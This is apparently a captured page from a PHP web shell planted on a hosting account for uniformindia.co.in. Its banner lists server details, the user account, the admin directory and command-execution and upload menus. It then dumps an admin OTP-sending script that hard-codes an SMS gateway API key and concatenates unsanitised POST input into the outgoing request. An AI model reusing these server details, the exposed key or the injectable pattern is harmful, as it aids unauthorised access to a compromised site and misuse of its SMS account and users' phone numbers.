|
Server IP : 82.112.239.40 / Your IP : 216.73.216.81 Web Server : LiteSpeed System : Linux in-mum-web1676.main-hosting.eu 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64 User : u641149403 ( 641149403) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u641149403/domains/uniformindia.co.in/public_html/admin/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
$api_key = '25D04948F53943';
$from = 'WEDOHS';
$contact = "7906133918";
$otp = "2020302";
$contacts = $_POST['contact'];
$otp = $_POST['otp'];
//$contacts = '7017398352';
// $sms_text = 'OTP UNKNOWN';
//$otp = mt_rand(10000, 99999);
// $contacts = $_POST['contact'];
// $sms_text = $_POST['sms_text'];
$sms_text = "Your OTP for layaji verification is : " . $otp;
$send = array();
//Submit to server
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL, "http://sms.creativedigitalinfotech.com/app/smsapi/index.php");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "key=".$api_key."&campaign=7680&routeid=30&type=text&contacts=".$contacts."&senderid=".$from."&msg=".$sms_text);
//$response = curl_exec($ch);
// echo $response;
if(curl_exec($ch)){
curl_close($ch);
$sent = true;
$response["sent"] = $sent;
echo json_encode($response);
}else{
$sent = false;
$response["sent"] = $sent;
echo json_encode($response);
}
?>